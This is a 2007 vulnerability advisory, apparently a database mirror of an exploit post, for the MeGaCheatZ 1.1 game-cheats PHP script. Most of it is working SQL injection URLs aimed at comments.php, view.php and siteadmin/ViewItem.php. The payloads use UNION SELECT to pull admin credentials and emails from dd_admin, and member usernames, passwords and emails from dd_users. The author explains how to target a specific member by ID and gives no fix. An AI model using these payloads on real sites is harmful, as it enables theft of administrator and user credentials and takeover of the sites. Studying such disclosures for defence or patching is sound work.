MeGaCheatZ 1.1 Multiple Remote SQL Injection Vulnerabilities

🗓️ 25 Dec 2007 00:00:00Reported by RootType
MeGaCheatZ 1.1 Remote SQL Injection Vulnerabilitie

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org	&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	Multiple&nbsp;Remote&nbsp;Sql&nbsp;Injection

---------------------------------------------------------------

#&nbsp;Author:&nbsp;MhZ91&nbsp;
#&nbsp;Title:&nbsp;MeGaCheatZ&nbsp;v1.1&nbsp;-&nbsp;Remote&nbsp;Sql&nbsp;Injection
#&nbsp;Download:&nbsp;http://scriptmafia.org/2007/12/19/megacheatz_1.1.html
#&nbsp;Bug:&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;
#&nbsp;Visit:&nbsp;http://www.inj3ct-it.org
#&nbsp;Info:&nbsp;MeGaCheatZ&nbsp;v1.1&nbsp;is&nbsp;a&nbsp;full-fledged&nbsp;computer&nbsp;game&nbsp;cheats&nbsp;script.&nbsp;This&nbsp;script&nbsp;could&nbsp;VERY&nbsp;EASILY&nbsp;be&nbsp;an&nbsp;entire&nbsp;web-site.&nbsp;It's&nbsp;100%&nbsp;cgi/php/template&nbsp;driven.&nbsp;It&nbsp;contains&nbsp;a&nbsp;script&nbsp;that&nbsp;will&nbsp;pull&nbsp;all&nbsp;of&nbsp;the&nbsp;latest&nbsp;PC&nbsp;games&nbsp;cheats&nbsp;FOR&nbsp;you!&nbsp;It&nbsp;also&nbsp;has&nbsp;manual&nbsp;submission&nbsp;and&nbsp;removal!&nbsp;This&nbsp;script&nbsp;does&nbsp;ALL&nbsp;of&nbsp;the&nbsp;work&nbsp;for&nbsp;you.&nbsp;Visitors&nbsp;can&nbsp;even&nbsp;search&nbsp;for&nbsp;specific&nbsp;games!

---------------------------------------------------------------

http://[site]/comments.php?ItemID=-1+union+select+concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail)+from+dd_admin/*

http://[site]/view.php?ItemID='+union+select+1,2,3,4,concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail),6,7,8,9,10+from+dd_admin/*

http://[site]/siteadmin/ViewItem.php?ItemID='+union+select+1,2,3,4,concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail),6,7,8,9,10,11,12,13,14,15,16,17,18+from+dd_admin/*

And&nbsp;other&nbsp;more...&nbsp;

Whit&nbsp;this&nbsp;u&nbsp;get&nbsp;&nbsp;AdminID:AdminPass:AdminName:AdminEmail&nbsp;

If&nbsp;u&nbsp;want&nbsp;get&nbsp;username:password:email&nbsp;of&nbsp;members,&nbsp;use&nbsp;this

http://[site]/comments.php?ItemID=-1+union+select+concat(username,char(58),password,char(58),email)+from+dd_users+where+UserID=[UserID]/*

http://[site]/view.php?ItemID='+union+select+1,2,3,4,concat(username,char(58),password,char(58),email),6,7,8,9,10+from+dd_users+where+UserID=[UserID]/*

http://[site]/siteadmin/ViewItem.php?ItemID='+union+select+1,2,3,4,concat(username,char(58),password,char(58),email),6,7,8,9,10,11,12,13,14,15,16,17,18+from+dd_users+where+UserID=[UserID]/*

And&nbsp;change&nbsp;[UserID]&nbsp;whit&nbsp;number&nbsp;id&nbsp;of&nbsp;member..&nbsp;

Bye..&nbsp;visit&nbsp;http://www.inj3ct-it.org&nbsp;!!

---------------------------------------------------------------
25 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1